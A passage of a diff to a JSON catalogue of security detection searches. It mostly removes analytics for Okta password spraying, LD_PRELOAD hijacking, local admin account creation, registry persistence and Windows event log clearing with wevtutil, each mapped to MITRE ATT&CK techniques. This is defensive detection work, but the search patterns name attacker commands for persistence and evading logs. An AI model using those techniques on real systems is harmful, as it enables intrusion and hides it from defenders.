Evasion", - "Initial Access", - "Persistence", - "Privilege Escalation" - ], - "mitre_attack_groups": [ - "FIN13", - "Magic Hound" - ] - } - ] - } - }, - { - "name": "Okta ThreatInsight Login Failure with High Unknown users", - "description": "**DEPRECATION NOTE** - This search has been deprecated and replaced with `Okta ThreatInsight Threat Detected`. The following analytic utilizes Oktas ThreatInsight to identify Login failures with high unknown users count and any included secondary outcome reasons. This event will trigger when a brute force attempt occurs with unknown usernames attempted.", - "search": "`okta` eventType=\"security.threat.detected\" AND outcome.reason=\"Login failures with high unknown users count*\" | stats count min(_time) as firstTime max(_time) as lastTime values(displayMessage) by user eventType client.userAgent.rawUserAgent client.userAgent.browser outcome.reason | `security_content_ctime(firstTime)` | `security_content_ctime(lastTime)` | `okta_threatinsight_login_failure_with_high_unknown_users_filter`", - "tags": { - "analytic_story": [ - "Suspicious Okta Activity" - ], - "asset_type": "Infrastructure", - "cis20": [ - "CIS 10" - ], - "kill_chain_phases": [ - "Delivery", - "Exploitation", - "Installation" - ], - "nist": [ - "DE.CM" - ], - "observable": [ - { - "name": "outcome.reason", - "type": "Other", - "role": [ - "Other" - ] - } - ], - "message": "Okta ThreatInsight has detected or prevented a high number of login failures.", - "risk_score": 50, - "security_domain": "access", - "risk_severity": "medium", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1078", - "mitre_attack_technique": "Valid Accounts", - "mitre_attack_tactics": [ - "Defense Evasion", - "Initial Access", - "Persistence", - "Privilege Escalation" - ], - "mitre_attack_groups": [ - "APT18", - "APT28", - "APT29", - "APT33", - "APT39", - "APT41", - "Akira", - "Axiom", - "Carbanak", - "Chimera", - "Cinnamon Tempest", - "Dragonfly", - "FIN10", - "FIN4", - "FIN5", - "FIN6", - "FIN7", - "FIN8", - "Fox Kitten", - "GALLIUM", - "Ke3chang", - "LAPSUS$", - "Lazarus Group", - "Leviathan", - "OilRig", - "POLONIUM", - "PittyTiger", - "Sandworm Team", - "Silence", - "Silent Librarian", - "Suckfly", - "Threat Group-3390", - "Wizard Spider", - "menuPass" - ] - }, - { - "mitre_attack_id": "T1078.001", - "mitre_attack_technique": "Default Accounts", - "mitre_attack_tactics": [ - "Defense Evasion", - "Initial Access", - "Persistence", - "Privilege Escalation" - ], - "mitre_attack_groups": [ - "FIN13", - "Magic Hound" - ] - }, - { - "mitre_attack_id": "T1110.004", - "mitre_attack_technique": "Credential Stuffing", - "mitre_attack_tactics": [ - "Credential Access" - ], - "mitre_attack_groups": [ - "Chimera" - ] - } - ] - } - }, - { - "name": "Okta ThreatInsight Suspected PasswordSpray Attack", - "description": "**DEPRECATION NOTE** - This search has been deprecated and replaced with `Okta ThreatInsight Threat Detected`. The following analytic utilizes Oktas ThreatInsight to identify \"PasswordSpray\" and any included secondary outcome reasons. This event will trigger when a brute force attempt occurs with unknown usernames attempted.", - "search": "`okta` eventType=\"security.threat.detected\" AND outcome.reason=\"Password Spray\" | stats count min(_time) as firstTime max(_time) as lastTime values(displayMessage) by eventType client.userAgent.rawUserAgent client.userAgent.browser outcome.reason | `security_content_ctime(firstTime)` | `security_content_ctime(lastTime)` | `okta_threatinsight_suspected_passwordspray_attack_filter`", - "tags": { - "analytic_story": [ - "Suspicious Okta Activity" - ], - "asset_type": "Infrastructure", - "cis20": [ - "CIS 10" - ], - "kill_chain_phases": [ - "Delivery", - "Exploitation", - "Installation" - ], - "nist": [ - "DE.CM" - ], - "observable": [ - { - "name": "outcome.reason", - "type": "Other", - "role": [ - "Other" - ] - } - ], - "message": "Okta ThreatInsight has detected or prevented a PasswordSpray attack.", - "risk_score": 60, - "security_domain": "access", - "risk_severity": "medium", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1078", - "mitre_attack_technique": "Valid Accounts", - "mitre_attack_tactics": [ - "Defense Evasion", - "Initial Access", - "Persistence", - "Privilege Escalation" - ], - "mitre_attack_groups": [ - "APT18", - "APT28", - "APT29", - "APT33", - "APT39", - "APT41", - "Akira", - "Axiom", - "Carbanak", - "Chimera", - "Cinnamon Tempest", - "Dragonfly", - "FIN10", - "FIN4", - "FIN5", - "FIN6", - "FIN7", - "FIN8", - "Fox Kitten", - "GALLIUM", - "Ke3chang", - "LAPSUS$", - "Lazarus Group", - "Leviathan", - "OilRig", - "POLONIUM", - "PittyTiger", - "Sandworm Team", - "Silence", - "Silent Librarian", - "Suckfly", - "Threat Group-3390", - "Wizard Spider", - "menuPass" - ] - }, - { - "mitre_attack_id": "T1078.001", - "mitre_attack_technique": "Default Accounts", - "mitre_attack_tactics": [ - "Defense Evasion", - "Initial Access", - "Persistence", - "Privilege Escalation" - ], - "mitre_attack_groups": [ - "FIN13", - "Magic Hound" - ] - }, - { - "mitre_attack_id": "T1110.003", - "mitre_attack_technique": "Password Spraying", - "mitre_attack_tactics": [ - "Credential Access" - ], - "mitre_attack_groups": [ - "APT28", - "APT29", - "APT33", - "Chimera", - "HEXANE", - "Lazarus Group", - "Leafminer", - "Silent Librarian" - ] - } - ] - } } ], "external_reference": [ @@ -358995,71 +255050,6 @@ "references": [ "https://docs.microsoft.com/en-us/windows/win32/procthread/processes-and-threads" ] - }, - { - "name": "Time Provider Persistence Registry", - "description": "The following analytic detects suspicious modifications to the time provider registry for persistence and autostart. It leverages data from the Endpoint.Registry data model, focusing on changes to the \"CurrentControlSet\\\\Services\\\\W32Time\\\\TimeProviders\" registry path. This activity is significant because such modifications are uncommon and can indicate an attempt to establish persistence on a compromised host. If confirmed malicious, this technique allows an attacker to maintain access and execute code automatically upon system boot, potentially leading to further exploitation and control over the affected system.", - "search": "| tstats `security_content_summariesonly` count FROM datamodel=Endpoint.Registry WHERE (Registry.registry_path=\"*\\\\CurrentControlSet\\\\Services\\\\W32Time\\\\TimeProviders*\") BY _time span=1h Registry.dest Registry.user Registry.registry_path Registry.registry_key_name Registry.registry_value_name Registry.registry_value_data Registry.process_guid | `drop_dm_object_name(Registry)` | `security_content_ctime(firstTime)` | `security_content_ctime(lastTime)` | `time_provider_persistence_registry_filter`", - "tags": { - "analytic_story": [ - "Data Destruction", - "Hermetic Wiper", - "Windows Persistence Techniques", - "Windows Privilege Escalation", - "Windows Registry Abuse" - ], - "asset_type": "Endpoint", - "cis20": [ - "CIS 10" - ], - "kill_chain_phases": [ - "Exploitation", - "Installation" - ], - "nist": [ - "DE.CM" - ], - "observable": [ - { - "name": "dest", - "type": "Hostname", - "role": [ - "Victim" - ] - }, - { - "name": "user", - "type": "User", - "role": [ - "Victim" - ] - } - ], - "message": "modified/added/deleted registry entry $registry_path$ in $dest$", - "risk_score": 80, - "security_domain": "endpoint", - "risk_severity": "high", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1547.003", - "mitre_attack_technique": "Time Providers", - "mitre_attack_tactics": [ - "Persistence", - "Privilege Escalation" - ], - "mitre_attack_groups": [] - }, - { - "mitre_attack_id": "T1547", - "mitre_attack_technique": "Boot or Logon Autostart Execution", - "mitre_attack_tactics": [ - "Persistence", - "Privilege Escalation" - ], - "mitre_attack_groups": [] - } - ] - } } ], "external_reference": [ @@ -361438,66 +257428,6 @@ "https://tools.ietf.org/id/draft-ietf-opsawg-tacacs-07.html#rfc.section.7.2", "https://tools.ietf.org/html/rfc2866" ] - }, - { - "name": "Linux Preload Hijack Library Calls", - "description": "The following analytic detects the use of the LD_PRELOAD environment variable to hijack or hook library functions on a Linux platform. It leverages data from Endpoint Detection and Response (EDR) agents, focusing on process execution logs that include command-line details. This activity is significant because adversaries, malware authors, and red teamers commonly use this technique to gain elevated privileges and establish persistence on a compromised machine. If confirmed malicious, this behavior could allow attackers to execute arbitrary code, escalate privileges, and maintain long-term access to the system.", - "search": "| tstats `security_content_summariesonly` count min(_time) as firstTime max(_time) as lastTime from datamodel=Endpoint.Processes where Processes.process = \"*LD_PRELOAD*\" by Processes.dest Processes.user Processes.parent_process_name Processes.process_name Processes.process Processes.process_id Processes.parent_process_id Processes.process_guid | `drop_dm_object_name(Processes)` | `security_content_ctime(firstTime)` | `security_content_ctime(lastTime)` | `linux_preload_hijack_library_calls_filter`", - "tags": { - "analytic_story": [ - "Linux Persistence Techniques", - "Linux Privilege Escalation" - ], - "asset_type": "Endpoint", - "cis20": [ - "CIS 10" - ], - "kill_chain_phases": [ - "Exploitation", - "Installation" - ], - "nist": [ - "DE.CM" - ], - "observable": [ - { - "name": "dest", - "type": "Hostname", - "role": [ - "Victim" - ] - } - ], - "message": "A commandline $process$ that may hijack library function on $dest$", - "risk_score": 64, - "security_domain": "endpoint", - "risk_severity": "medium", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1574.006", - "mitre_attack_technique": "Dynamic Linker Hijacking", - "mitre_attack_tactics": [ - "Defense Evasion", - "Persistence", - "Privilege Escalation" - ], - "mitre_attack_groups": [ - "APT41", - "Rocke" - ] - }, - { - "mitre_attack_id": "T1574", - "mitre_attack_technique": "Hijack Execution Flow", - "mitre_attack_tactics": [ - "Defense Evasion", - "Persistence", - "Privilege Escalation" - ], - "mitre_attack_groups": [] - } - ] - } } ], "external_reference": [ @@ -362090,389 +258020,6 @@ "https://tools.ietf.org/id/draft-ietf-opsawg-tacacs-07.html#rfc.section.7.2", "https://tools.ietf.org/html/rfc2866" ] - }, - { - "name": "Create local admin accounts using net exe", - "description": "The following analytic detects the creation of local administrator accounts using the net.exe command. It leverages Endpoint Detection and Response (EDR) data to identify processes named net.exe or net1.exe with the \"/add\" parameter and keywords related to administrator accounts. This activity is significant as it may indicate an attacker attempting to gain persistent access or escalate privileges. If confirmed malicious, this could lead to unauthorized access, data theft, or further system compromise. Review the process details, user context, and related artifacts to determine the legitimacy of the activity.", - "search": "| tstats `security_content_summariesonly` count values(Processes.user) as user values(Processes.parent_process) as parent_process values(parent_process_name) as parent_process_name min(_time) as firstTime max(_time) as lastTime from datamodel=Endpoint.Processes where (Processes.process_name=net.exe OR Processes.process_name=net1.exe) AND Processes.process=*/add* AND (Processes.process=*administrators* OR Processes.process=*administratoren* OR Processes.process=*administrateurs* OR Processes.process=*administrador* OR Processes.process=*amministratori* OR Processes.process=*administratorer*) by Processes.process Processes.process_name Processes.parent_process_name Processes.dest Processes.user| `drop_dm_object_name(Processes)` | `security_content_ctime(firstTime)` | `security_content_ctime(lastTime)` | `create_local_admin_accounts_using_net_exe_filter`", - "tags": { - "analytic_story": [ - "Azorult", - "CISA AA22-257A", - "DHS Report TA18-074A", - "DarkGate Malware" - ], - "asset_type": "Endpoint", - "cis20": [ - "CIS 10" - ], - "kill_chain_phases": [ - "Installation" - ], - "nist": [ - "DE.CM" - ], - "observable": [ - { - "name": "user", - "type": "User", - "role": [ - "Victim" - ] - }, - { - "name": "dest", - "type": "Hostname", - "role": [ - "Victim" - ] - }, - { - "name": "parent_process_name", - "type": "Process", - "role": [ - "Parent Process" - ] - }, - { - "name": "process_name", - "type": "Process", - "role": [ - "Child Process" - ] - } - ], - "message": "An instance of $parent_process_name$ spawning $process_name$ was identified on endpoint $dest$ by user $user$ attempting to add a user to the local Administrators group.", - "risk_score": 30, - "security_domain": "endpoint", - "risk_severity": "low", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1136.001", - "mitre_attack_technique": "Local Account", - "mitre_attack_tactics": [ - "Persistence" - ], - "mitre_attack_groups": [ - "APT3", - "APT39", - "APT41", - "APT5", - "Dragonfly", - "FIN13", - "Fox Kitten", - "Kimsuky", - "Leafminer", - "Magic Hound", - "TeamTNT", - "Wizard Spider" - ] - }, - { - "mitre_attack_id": "T1136", - "mitre_attack_technique": "Create Account", - "mitre_attack_tactics": [ - "Persistence" - ], - "mitre_attack_groups": [ - "Indrik Spider", - "Scattered Spider" - ] - } - ] - } - }, - { - "name": "Detect New Local Admin account", - "description": "The following analytic detects the creation of new accounts elevated to local administrators. It uses Windows event logs, specifically EventCode 4720 (user account creation) and EventCode 4732 (user added to Administrators group). This activity is significant as it indicates potential unauthorized privilege escalation, which is critical for SOC monitoring. If confirmed malicious, this could allow attackers to gain administrative access, leading to unauthorized data access, system modifications, and disruption of services. Immediate investigation is required to mitigate risks and prevent further unauthorized actions.", - "search": "`wineventlog_security` EventCode=4720 OR (EventCode=4732 Group_Name=Administrators) | transaction src_user connected=false maxspan=180m | rename src_user as user | stats count min(_time) as firstTime max(_time) as lastTime by user dest | `security_content_ctime(firstTime)` | `security_content_ctime(lastTime)` | `detect_new_local_admin_account_filter`", - "tags": { - "analytic_story": [ - "CISA AA22-257A", - "DHS Report TA18-074A", - "HAFNIUM Group" - ], - "asset_type": "Windows", - "cis20": [ - "CIS 10" - ], - "kill_chain_phases": [ - "Installation" - ], - "nist": [ - "DE.CM" - ], - "observable": [ - { - "name": "user", - "type": "User", - "role": [ - "Victim" - ] - }, - { - "name": "dest", - "type": "Hostname", - "role": [ - "Victim" - ] - } - ], - "message": "A $user$ on $dest$ was added recently. Identify if this was legitimate behavior or not.", - "risk_score": 42, - "security_domain": "access", - "risk_severity": "low", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1136.001", - "mitre_attack_technique": "Local Account", - "mitre_attack_tactics": [ - "Persistence" - ], - "mitre_attack_groups": [ - "APT3", - "APT39", - "APT41", - "APT5", - "Dragonfly", - "FIN13", - "Fox Kitten", - "Kimsuky", - "Leafminer", - "Magic Hound", - "TeamTNT", - "Wizard Spider" - ] - }, - { - "mitre_attack_id": "T1136", - "mitre_attack_technique": "Create Account", - "mitre_attack_tactics": [ - "Persistence" - ], - "mitre_attack_groups": [ - "Indrik Spider", - "Scattered Spider" - ] - } - ] - } - }, - { - "name": "Linux Add User Account", - "description": "The following analytic detects the creation of new user accounts on Linux systems using commands like \"useradd\" or \"adduser.\" It leverages data from Endpoint Detection and Response (EDR) agents, focusing on process names and command-line executions. This activity is significant as adversaries often create new user accounts to establish persistence on compromised hosts. If confirmed malicious, this could allow attackers to maintain access, escalate privileges, and further compromise the system, posing a severe security risk.", - "search": "| tstats `security_content_summariesonly` count from datamodel=Endpoint.Processes where Processes.process_name IN (\"useradd\", \"adduser\") OR Processes.process IN (\"*useradd *\", \"*adduser *\") by Processes.dest Processes.user Processes.parent_process_name Processes.process_name Processes.process Processes.process_id Processes.parent_process_id Processes.process_guid | `drop_dm_object_name(Processes)` | `security_content_ctime(firstTime)` | `security_content_ctime(lastTime)` | `linux_add_user_account_filter`", - "tags": { - "analytic_story": [ - "Linux Persistence Techniques", - "Linux Privilege Escalation" - ], - "asset_type": "Endpoint", - "cis20": [ - "CIS 10" - ], - "kill_chain_phases": [ - "Installation" - ], - "nist": [ - "DE.AE" - ], - "observable": [ - { - "name": "dest", - "type": "Hostname", - "role": [ - "Victim" - ] - } - ], - "message": "A commandline $process$ that may create user account on $dest$", - "risk_score": 25, - "security_domain": "endpoint", - "risk_severity": "low", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1136.001", - "mitre_attack_technique": "Local Account", - "mitre_attack_tactics": [ - "Persistence" - ], - "mitre_attack_groups": [ - "APT3", - "APT39", - "APT41", - "APT5", - "Dragonfly", - "FIN13", - "Fox Kitten", - "Kimsuky", - "Leafminer", - "Magic Hound", - "TeamTNT", - "Wizard Spider" - ] - }, - { - "mitre_attack_id": "T1136", - "mitre_attack_technique": "Create Account", - "mitre_attack_tactics": [ - "Persistence" - ], - "mitre_attack_groups": [ - "Indrik Spider", - "Scattered Spider" - ] - } - ] - } - }, - { - "name": "Short Lived Windows Accounts", - "description": "The following analytic detects the rapid creation and deletion of Windows accounts within a short time frame. It leverages the \"Change\" data model in Splunk, specifically monitoring events with result IDs 4720 (account creation) and 4726 (account deletion). This behavior is significant as it may indicate an attacker attempting to create and remove accounts quickly to evade detection or gain unauthorized access. If confirmed malicious, this activity could lead to unauthorized access, privilege escalation, or further malicious actions within the environment. Immediate investigation of flagged events is crucial to mitigate potential damage.", - "search": "| tstats `security_content_summariesonly` values(All_Changes.result_id) as result_id count min(_time) as firstTime max(_time) as lastTime from datamodel=Change where All_Changes.result_id=4720 OR All_Changes.result_id=4726 by _time span=4h All_Changes.user All_Changes.dest | `security_content_ctime(lastTime)` | `security_content_ctime(firstTime)` | `drop_dm_object_name(\"All_Changes\")` | search result_id = 4720 result_id=4726 | transaction user connected=false maxspan=240m | table firstTime lastTime count user dest result_id | `short_lived_windows_accounts_filter`", - "tags": { - "analytic_story": [ - "Active Directory Lateral Movement" - ], - "asset_type": "Windows", - "cis20": [ - "CIS 10" - ], - "kill_chain_phases": [ - "Installation" - ], - "nist": [ - "DE.CM" - ], - "observable": [ - { - "name": "dest", - "type": "Hostname", - "role": [ - "Victim" - ] - }, - { - "name": "user", - "type": "User", - "role": [ - "Victim" - ] - } - ], - "message": "A user account created or delete shortly in host $dest$", - "risk_score": 63, - "security_domain": "access", - "risk_severity": "medium", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1136.001", - "mitre_attack_technique": "Local Account", - "mitre_attack_tactics": [ - "Persistence" - ], - "mitre_attack_groups": [ - "APT3", - "APT39", - "APT41", - "APT5", - "Dragonfly", - "FIN13", - "Fox Kitten", - "Kimsuky", - "Leafminer", - "Magic Hound", - "TeamTNT", - "Wizard Spider" - ] - }, - { - "mitre_attack_id": "T1136", - "mitre_attack_technique": "Create Account", - "mitre_attack_tactics": [ - "Persistence" - ], - "mitre_attack_groups": [ - "Indrik Spider", - "Scattered Spider" - ] - } - ] - } - }, - { - "name": "Windows Create Local Account", - "description": "The following analytic detects the creation of a new local user account on a Windows system. It leverages Windows Security Audit logs, specifically event ID 4720, to identify this activity. Monitoring the creation of local accounts is crucial for a SOC as it can indicate unauthorized access or lateral movement within the network. If confirmed malicious, this activity could allow an attacker to establish persistence, escalate privileges, or gain unauthorized access to sensitive systems and data.", - "search": "| tstats `security_content_summariesonly` values(All_Changes.result_id) as result_id count min(_time) as firstTime max(_time) as lastTime from datamodel=Change where All_Changes.result_id=4720 by All_Changes.user All_Changes.dest All_Changes.result All_Changes.action | `drop_dm_object_name(\"All_Changes\")` | `security_content_ctime(lastTime)` | `security_content_ctime(firstTime)` | `windows_create_local_account_filter`", - "tags": { - "analytic_story": [ - "Active Directory Password Spraying" - ], - "asset_type": "Endpoint", - "cis20": [ - "CIS 10" - ], - "kill_chain_phases": [ - "Installation" - ], - "nist": [ - "DE.AE" - ], - "observable": [ - { - "name": "user", - "type": "User", - "role": [ - "Victim" - ] - }, - { - "name": "dest", - "type": "Hostname", - "role": [ - "Victim" - ] - } - ], - "message": "The following $user$ was added to $dest$ as a local account.", - "risk_score": 18, - "security_domain": "endpoint", - "risk_severity": "low", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1136.001", - "mitre_attack_technique": "Local Account", - "mitre_attack_tactics": [ - "Persistence" - ], - "mitre_attack_groups": [ - "APT3", - "APT39", - "APT41", - "APT5", - "Dragonfly", - "FIN13", - "Fox Kitten", - "Kimsuky", - "Leafminer", - "Magic Hound", - "TeamTNT", - "Wizard Spider" - ] - }, - { - "mitre_attack_id": "T1136", - "mitre_attack_technique": "Create Account", - "mitre_attack_tactics": [ - "Persistence" - ], - "mitre_attack_groups": [ - "Indrik Spider", - "Scattered Spider" - ] - } - ] - } } ], "external_reference": [ @@ -362944,46 +258491,7 @@ "data_component": "command execution", "type": "activity", "description": "Information about commands executed through a command-line interface and/or script interpreter.", - "source_data_element": "user", - "relationship": "executed", - "target_data_element": "command", - "references": [ - "https://tools.ietf.org/id/draft-ietf-opsawg-tacacs-07.html#rfc.section.7.2", - "https://tools.ietf.org/html/rfc2866" - ] - }, - { - "technique_id": "T1070.001", - "x_mitre_is_subtechnique": true, - "technique": "Clear Windows Event Logs", - "tactic": [ - "defense-evasion" - ], - "platform": [ - "Windows" - ], - "data_source": "command", - "definition": "Information about commands that can be used through a command-line interface and/or script interpreter.", - "collection_layers": [ - "host", - "container" - ], - "data_source_platform": [ - "Windows", - "Linux", - "macOS", - "Network", - "Containers" - ], - "contributors": [ - "Austin Clark", - "ATT&CK", - "CTID" - ], - "data_component": "command execution", - "type": "activity", - "description": "Information about commands executed through a command-line interface and/or script interpreter.", - "source_data_element": "process", + "source_data_element": "user", "relationship": "executed", "target_data_element": "command", "references": [ @@ -362992,278 +258500,43 @@ ] }, { - "name": "Disable Logs Using WevtUtil", - "description": "The following analytic detects the execution of \"wevtutil.exe\" with parameters to disable event logs. It leverages data from Endpoint Detection and Response (EDR) agents, focusing on process names and command-line arguments. This activity is significant because disabling event logs is a common tactic used by ransomware to evade detection and hinder forensic investigations. If confirmed malicious, this action could allow attackers to operate undetected, making it difficult to trace their activities and respond effectively to the incident.", - "search": "| tstats `security_content_summariesonly` count min(_time) as firstTime max(_time) as lastTime from datamodel=Endpoint.Processes where Processes.process_name = \"wevtutil.exe\" Processes.process = \"*sl*\" Processes.process = \"*/e:false*\" by Processes.parent_process_name Processes.parent_process Processes.process_name Processes.process Processes.dest Processes.user Processes.process_id Processes.process_guid | `drop_dm_object_name(Processes)` | `security_content_ctime(firstTime)` | `security_content_ctime(lastTime)` | `disable_logs_using_wevtutil_filter`", - "tags": { - "analytic_story": [ - "CISA AA23-347A", - "Ransomware", - "Rhysida Ransomware" - ], - "asset_type": "Endpoint", - "cis20": [ - "CIS 10" - ], - "kill_chain_phases": [ - "Exploitation" - ], - "nist": [ - "DE.CM" - ], - "observable": [ - { - "name": "dest", - "type": "Endpoint", - "role": [ - "Victim" - ] - } - ], - "message": "WevtUtil.exe used to disable Event Logging on $dest", - "risk_score": 24, - "security_domain": "endpoint", - "risk_severity": "low", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1070", - "mitre_attack_technique": "Indicator Removal", - "mitre_attack_tactics": [ - "Defense Evasion" - ], - "mitre_attack_groups": [ - "APT5", - "Lazarus Group" - ] - }, - { - "mitre_attack_id": "T1070.001", - "mitre_attack_technique": "Clear Windows Event Logs", - "mitre_attack_tactics": [ - "Defense Evasion" - ], - "mitre_attack_groups": [ - "APT28", - "APT32", - "APT38", - "APT41", - "Chimera", - "Dragonfly", - "FIN5", - "FIN8", - "Indrik Spider" - ] - } - ] - } - }, - { - "name": "Suspicious Event Log Service Behavior", - "description": "The following analytic detects the shutdown of the Windows Event Log service using Windows Event ID 1100. This event is logged every time the service stops, including during normal system shutdowns. Monitoring this activity is crucial as it can indicate attempts to cover tracks or disable logging. If confirmed malicious, an attacker could hide their activities, making it difficult to trace their actions and investigate further incidents. Analysts should verify if the shutdown was planned and review other alerts and data sources for additional suspicious behavior.", - "search": "(`wineventlog_security` EventCode=1100) | stats count min(_time) as firstTime max(_time) as lastTime by dest name EventCode | `security_content_ctime(firstTime)` | `security_content_ctime(lastTime)`| `suspicious_event_log_service_behavior_filter`", - "tags": { - "analytic_story": [ - "Clop Ransomware", - "Ransomware", - "Windows Log Manipulation" - ], - "asset_type": "Endpoint", - "cis20": [ - "CIS 10" - ], - "kill_chain_phases": [ - "Exploitation" - ], - "nist": [ - "DE.AE" - ], - "observable": [ - { - "name": "dest", - "type": "Endpoint", - "role": [ - "Victim" - ] - } - ], - "message": "The Windows Event Log Service shutdown on $dest$", - "risk_score": 9, - "security_domain": "endpoint", - "risk_severity": "low", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1070", - "mitre_attack_technique": "Indicator Removal", - "mitre_attack_tactics": [ - "Defense Evasion" - ], - "mitre_attack_groups": [ - "APT5", - "Lazarus Group" - ] - }, - { - "mitre_attack_id": "T1070.001", - "mitre_attack_technique": "Clear Windows Event Logs", - "mitre_attack_tactics": [ - "Defense Evasion" - ], - "mitre_attack_groups": [ - "APT28", - "APT32", - "APT38", - "APT41", - "Chimera", - "Dragonfly", - "FIN5", - "FIN8", - "Indrik Spider" - ] - } - ] - } - }, - { - "name": "Suspicious wevtutil Usage", - "description": "The following analytic detects the usage of wevtutil.exe with parameters for clearing event logs such as Application, Security, Setup, Trace, or System. It leverages data from Endpoint Detection and Response (EDR) agents, focusing on process names and command-line arguments. This activity is significant because clearing event logs can be an attempt to cover tracks after malicious actions, hindering forensic investigations. If confirmed malicious, this behavior could allow an attacker to erase evidence of their activities, making it difficult to trace their actions and understand the full scope of the compromise.", - "search": "| tstats `security_content_summariesonly` values(Processes.process) as process min(_time) as firstTime max(_time) as lastTime from datamodel=Endpoint.Processes where Processes.process_name=wevtutil.exe Processes.process IN (\"* cl *\", \"*clear-log*\") (Processes.process=\"*System*\" OR Processes.process=\"*Security*\" OR Processes.process=\"*Setup*\" OR Processes.process=\"*Application*\" OR Processes.process=\"*trace*\") by Processes.process_name Processes.parent_process_name Processes.dest Processes.user| `drop_dm_object_name(Processes)` | `security_content_ctime(firstTime)` |`security_content_ctime(lastTime)` | `suspicious_wevtutil_usage_filter`", - "tags": { - "analytic_story": [ - "CISA AA23-347A", - "Clop Ransomware", - "Ransomware", - "Rhysida Ransomware", - "Windows Log Manipulation" - ], - "asset_type": "Endpoint", - "cis20": [ - "CIS 10" - ], - "kill_chain_phases": [ - "Exploitation" - ], - "nist": [ - "DE.CM" - ], - "observable": [ - { - "name": "dest", - "type": "Endpoint", - "role": [ - "Victim" - ] - }, - { - "name": "user", - "type": "User", - "role": [ - "Victim" - ] - } - ], - "message": "Wevtutil.exe being used to clear Event Logs on $dest$ by $user$", - "risk_score": 28, - "security_domain": "endpoint", - "risk_severity": "low", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1070.001", - "mitre_attack_technique": "Clear Windows Event Logs", - "mitre_attack_tactics": [ - "Defense Evasion" - ], - "mitre_attack_groups": [ - "APT28", - "APT32", - "APT38", - "APT41", - "Chimera", - "Dragonfly", - "FIN5", - "FIN8", - "Indrik Spider" - ] - }, - { - "mitre_attack_id": "T1070", - "mitre_attack_technique": "Indicator Removal", - "mitre_attack_tactics": [ - "Defense Evasion" - ], - "mitre_attack_groups": [ - "APT5", - "Lazarus Group" - ] - } - ] - } - }, - { - "name": "Windows Event Log Cleared", - "description": "The following analytic detects the clearing of Windows event logs by identifying Windows Security Event ID 1102 or System log event 104. This detection leverages Windows event logs to monitor for log clearing activities. Such behavior is significant as it may indicate an attempt to cover tracks after malicious activities. If confirmed malicious, this action could hinder forensic investigations and allow attackers to persist undetected, making it crucial to investigate further and correlate with other alerts and data sources.", - "search": "(`wineventlog_security` EventCode=1102) OR (`wineventlog_system` EventCode=104) | stats count min(_time) as firstTime max(_time) as lastTime by dest name EventCode | `security_content_ctime(firstTime)` | `security_content_ctime(lastTime)` | `windows_event_log_cleared_filter`", - "tags": { - "analytic_story": [ - "CISA AA22-264A", - "Clop Ransomware", - "Ransomware", - "Windows Log Manipulation" - ], - "asset_type": "Endpoint", - "cis20": [ - "CIS 10" - ], - "kill_chain_phases": [ - "Exploitation" - ], - "nist": [ - "DE.CM" - ], - "observable": [ - { - "name": "dest", - "type": "Endpoint", - "role": [ - "Victim" - ] - } - ], - "message": "Windows event logs cleared on $dest$ via EventCode $EventCode$", - "risk_score": 70, - "security_domain": "endpoint", - "risk_severity": "medium", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1070", - "mitre_attack_technique": "Indicator Removal", - "mitre_attack_tactics": [ - "Defense Evasion" - ], - "mitre_attack_groups": [ - "APT5", - "Lazarus Group" - ] - }, - { - "mitre_attack_id": "T1070.001", - "mitre_attack_technique": "Clear Windows Event Logs", - "mitre_attack_tactics": [ - "Defense Evasion" - ], - "mitre_attack_groups": [ - "APT28", - "APT32", - "APT38", - "APT41", - "Chimera", - "Dragonfly", - "FIN5", - "FIN8", - "Indrik Spider" - ] - } - ] - } + "technique_id": "T1070.001", + "x_mitre_is_subtechnique": true, + "technique": "Clear Windows Event Logs", + "tactic": [ + "defense-evasion" + ], + "platform": [ + "Windows" + ], + "data_source": "command", + "definition": "Information about commands that can be used through a command-line interface and/or script interpreter.", + "collection_layers": [ + "host", + "container" + ], + "data_source_platform": [ + "Windows", + "Linux", + "macOS", + "Network", + "Containers" + ], + "contributors": [ + "Austin Clark", + "ATT&CK", + "CTID" + ], + "data_component": "command execution", + "type": "activity", + "description": "Information about commands executed through a command-line interface and/or script interpreter.", + "source_data_element": "process", + "relationship": "executed", + "target_data_element": "command", + "references": [ + "https://tools.ietf.org/id/draft-ietf-opsawg-tacacs-07.html#rfc.section.7.2", + "https://tools.ietf.org/html/rfc2866" + ] } ], "external_reference": [ @@ -364783,649 +260056,6 @@ "https://docs.microsoft.com/en-us/windows/win32/fileio/file-streams", "https://docs.microsoft.com/en-us/troubleshoot/windows-client/backup-and-storage/fat-hpfs-and-ntfs-file-systems" ] - }, - { - "name": "Excessive Usage Of Cacls App", - "description": "The following analytic identifies excessive usage of `cacls.exe`, `xcacls.exe`, or `icacls.exe` to change file or folder permissions. It leverages data from Endpoint Detection and Response (EDR) agents, focusing on process names and command-line executions. This activity is significant as it may indicate an adversary attempting to restrict access to malware components or artifacts on a compromised system. If confirmed malicious, this behavior could prevent users from deleting or accessing critical files, aiding in the persistence and concealment of malicious activities.", - "search": "| tstats `security_content_summariesonly` values(Processes.process) as process values(Processes.process_id) as process_id values(Processes.process_name) as process_name count min(_time) as firstTime max(_time) as lastTime from datamodel=Endpoint.Processes where Processes.process_name = \"cacls.exe\" OR Processes.process_name = \"icacls.exe\" OR Processes.process_name = \"XCACLS.exe\" by Processes.parent_process_name Processes.parent_process Processes.dest Processes.user _time span=1m | where count >=10 | `drop_dm_object_name(Processes)` | `security_content_ctime(firstTime)` | `security_content_ctime(lastTime)` | `excessive_usage_of_cacls_app_filter`", - "tags": { - "analytic_story": [ - "Azorult", - "Prestige Ransomware", - "Windows Post-Exploitation", - "XMRig" - ], - "asset_type": "Endpoint", - "cis20": [ - "CIS 10" - ], - "kill_chain_phases": [ - "Exploitation" - ], - "nist": [ - "DE.AE" - ], - "observable": [ - { - "name": "dest", - "type": "Hostname", - 